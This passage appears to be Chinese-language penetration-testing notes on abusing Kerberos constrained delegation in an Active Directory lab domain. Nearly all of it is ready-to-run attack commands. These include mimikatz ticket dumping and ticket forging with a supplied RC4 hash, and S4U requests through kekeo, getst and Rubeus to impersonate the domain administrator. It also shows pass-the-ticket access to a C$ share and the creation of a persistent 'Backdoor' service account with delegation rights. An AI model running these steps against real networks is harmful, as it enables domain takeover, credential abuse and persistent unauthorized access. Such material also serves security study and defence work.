• 效果
      域服务账号/计算机可以去请求其他指定服务的票据,这个得看域管理员给这个服务开了其它哪些服务的权限。
      类似于SSO中不同用户有不同的权限,可以打开不同的网站。
    • 条件
    • 操作一(计算机账号具有约束委派权限)

    测试环境先直接给3B6这台计算机添加约束委派
    image.png
    查找域中的委派关系:

    1. AdFind.exe -f "(&(msds-allowedtodelegateto=*))" cn distinguishedName msDS-AllowedToDelegateTo
    2. dsquery.exe * -filter "(&(msds-allowedtodelegateto=*))" -limit 0 -attr distinguishedName msDS-AllowedToDelegateTo

    如果有3B6的权限,可直接导出票据,或者有之前的计算机hash,用hash去申请票据。在用票据去申请有委派权限服务的ST

    1. mimikatz privilege::debug "sekurlsa::tickets /export" exit
    2. kekeo "tgs::s4u /tgt:WIN-V5480N4V3B6$@krbtgt-TT.COM.kirbi /user:administrator /service:cifs/WIN-J341S97EGGH.tt.com" exit
    1. mimikatz "kerberos::golden /domain:tt.com /admin:NoThisUser /sid:S-1-5-21-1881962959-1052950955-462027270 /rc4:1b190b45caa545358a8b711f69fe6971 /target:WIN-V5480N4V3B6 /service:CIFS /ticket" exit
    2. kekeo "tgs::s4u /tgt:ticket.kirbi /user:administrator@tt.com /service:cifs/WIN-J341S97EGGH.tt.com" exit

    导入ST,访问服务

    1. mimikatz privilege::debug "kerberos::ptt C:\Users\ddh\Desktop\TGS_administrator@TT.COM_WIN-V5480N4V3B6$@TT.COM.kirbi" exit
    2. dir \\WIN-J341S97EGGH\c$
    • 操作二(服务账号具有约束委派权限)

    测试环境先给用户添加约束委派权限(实际情况是目标域的管理员为了维护或使用资源而添加的):
    特别注意,还需要把普通账号设置为服务账号。

    1. Import-Module ActiveDirectory
    2. New-ADUser -Name "Backdoor" -SamAccountName backdoor_svc -UserPrincipalName backdoor_svc@tt.com -ServicePrincipalNames "backdoor/backdoor.tt.com" -AccountPassword (convertto-securestring "Admin123" -asplaintext -force) -PasswordNeverExpires $True -PassThru | Enable-ADAccount
    3. $user = Get-ADUser backdoor_svc
    4. Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("HOST/WIN-J341S97EGGH.tt.com") }
    5. Set-ADAccountControl $user -TrustedToAuthForDelegation $true

    查找域中的委派关系:

    1. AdFind.exe -f "(&(msds-allowedtodelegateto=*))" cn userPrincipalName distinguishedName msDS-AllowedToDelegateTo
    2. dsquery.exe * -filter "(&(msds-allowedtodelegateto=*))" -limit 0 -attr userPrincipalName distinguishedName msDS-AllowedToDelegateTo
    1. C:\Users\ddh\Desktop>AdFind.exe -f "(&(msds-allowedtodelegateto=*))" cn userPrincipalName distinguishedName msDS-AllowedToDelegateTo
    2. dn:CN=Backdoor,CN=Users,DC=tt,DC=com
    3. >cn: Backdoor
    4. >distinguishedName: CN=Backdoor,CN=Users,DC=tt,DC=com
    5. >userPrincipalName: backdoor_svc@tt.com
    6. >msDS-AllowedToDelegateTo: cifs/WIN-J341S97EGGH.tt.com/tt.com
    7. >msDS-AllowedToDelegateTo: cifs/WIN-J341S97EGGH.tt.com
    8. >msDS-AllowedToDelegateTo: cifs/WIN-J341S97EGGH
    9. >msDS-AllowedToDelegateTo: cifs/WIN-J341S97EGGH.tt.com/TT
    10. >msDS-AllowedToDelegateTo: cifs/WIN-J341S97EGGH/TT

    发现backdoor_svc账号拥有cifs/WIN-J341S97EGGH.tt.com服务权限,申请对应服务的ST:
    使用kekeo(失败):

    1. 先申请用户的TGT,如果控制的主机上登录的有backdoor_svc用户,则使用sekurlsa::tickets /export导出backdoor_svc的票据也行
    2. kekeo "tgt::ask /user:backdoor_svc /domain:tt.com /NTLM:e45a314c664d40a227f9540121d1a29d" exit
    3. kekeo "tgt::ask /user:backdoor_svc /domain:tt.com /password:Admin123" exit
    1. 申请ST
    2. kekeo "tgs::s4u /tgt:TGT_backdoor_svc@TT.COM_krbtgt~tt.com@TT.COM.kirbi /user:administrator@tt.com /service:HOST/WIN-J341S97EGGH.tt.com" exit
    3. 导入ST
    4. mimikatz privilege::debug "kerberos::ptt C:\Users\ddh\Desktop\TGS_administrator@tt.com@TT.COM_backdoor_svc@TT.COM.kirbi" exit
    5. 访问服务
    6. dir \\WIN-J341S97EGGH\c$

    使用getst(成功):

    1. getst.exe -dc-ip 192.168.19.8 -spn cifs/WIN-J341S97EGGH.tt.com -impersonate Administrator tt.com/backdoor_svc:Admin123
    2. mimikatz privilege::debug "kerberos::ptc C:\Users\ddh\Desktop\Administrator.ccache" exit

    使用Rubeus(成功):

    1. Rubeus.exe s4u /user:backdoor_svc /domain:tt.com /rc4:e45a314c664d40a227f9540121d1a29d /impersonateuser:administrator /msdsspn:cifs/WIN-J341S97EGGH.tt.com /altservice:cifs /ptt